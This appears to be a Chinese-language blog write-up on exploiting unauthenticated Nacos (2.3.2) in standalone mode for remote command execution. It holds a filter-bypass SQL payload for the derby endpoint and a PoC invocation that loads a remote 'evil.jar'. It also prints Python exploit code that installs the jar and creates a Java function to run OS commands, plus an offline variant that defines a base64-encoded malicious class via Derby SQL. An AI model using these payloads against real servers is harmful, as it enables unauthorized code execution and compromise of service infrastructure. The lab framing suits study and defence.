Nacos以standalone运行时未授权导致加载恶意文件以执行任意命令

屏幕截图 2024-07-14 014448

前言

Nacos是什么?它的名字是由服务和配置管理的英文首字母,他的核心功能包括动态服务发现管理,动态配置管理,动态DNS服务。动态服务管理可以和上层的微服务RPC调用框架结合,比如Spring Cloud, Dubbo等实现节点上下线自动流量拆除或者上线,动态配置管理提供了在运行期不重启业务节点的情况下改变业务应用的运行时行为,也可以结合CoreDNS将Nacos上注册的服务导出为DNS域名来实现动态DNS服务。

关于Nacos Derby数据库运维接口相关问题公告 | Nacos 官网

看完公告,这这个漏洞危害不大。一般Nacos服务并不会暴漏在公网,并且会进行鉴权。所以利用面比较窄

环境准备

Release 2.3.2 (Apr 3rd, 2024) · alibaba/nacos · GitHub

关闭鉴权启动,嗯。也就开发测试的时候这么用吧。在bin目录执行

1
startup.cmd -m standalone

或者直接使用vulhub上的vulhub/nacos/CVE-2021-29442 at master · vulhub/vulhub · GitHub

漏洞利用

看完官方的公告感觉都不算是漏洞了,完全就是权衡了便利后的有意为之。但是SQL写文件还是值得学习的。

/nacos/v1/cs/ops/derby接口为了防止SQL注入进行限制只能SELECT开头且包含ROWS FETCH NEXT,使用注释绕过ROWS FETCH NEXT(学到了,看了正则想要过滤还是很任意疏忽的)

image-20240718223340166

1
SELECT/*ROWS+FETCH+NEXT*/%20*%20FROM%20USERS

image-20240718222329360

执行任意和多个SQL语句

/nacos/v1/cs/ops/data/removal可以执行任意和多个SQL语句

1
python poc.py -t http://127.0.0.1:8848 -s http://127.0.0.1:9000/evil.jar -c "ps aux"  

jar包只能执行public static void⽅法,不执行构造方法。

重点看到poc的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def exploit(target, command, service):  
removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
for i in range(0, sys.maxsize):
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
post_sql = f"""CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
"""
get_sql = f"select * from (select count(*) as b, S_EXAMPLE_{id}('{command}') as a from config_info) tmp /*ROWS FETCH NEXT*/"
files = {'file': post_sql}
post_resp = requests.post(url=removal_url, files=files)
post_json = post_resp.json()
if post_json.get('message', None) is None and post_json.get('data', None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={'sql': get_sql})
print(get_resp.text)
break

通过/data/removal进行装载文件并且创建执行命令函数

通过derby执行命令构造get_sql

不出网利用

首先要编写恶意类然后编译之后base64编码替换进payload里面

1
2
3
4
5
6
7
8
9
create type typeClass external name 'java.lang.Class' language java
create type typeClassLoader external name 'java.lang.ClassLoader' language java
create function base64Decode(className VARCHAR(32672)) returns VARCHAR(32672) FOR BIT
DATA external name 'org.springframework.util.Base64Utils.decodeFromString' language java parameter style java
create function getSystemClassLoader() returns typeClassLoader external name 'java.lang.ClassLoader.getSystemClassLoader' language java parameter style java
create function defineClass(className VARCHAR(32672),bytes VARCHAR(32672) FOR BIT
DATA,loader typeClassLoader) returns typeClass external name 'org.springframework.cglib.core.ReflectUtils.defineClass(java.lang.String, byte[], java.lang.ClassLoader)' language java parameter style java
create table test(v typeClass)
insert into test values (defineClass('{className}',base64Decode('{class}'),getSystemClassLoader()))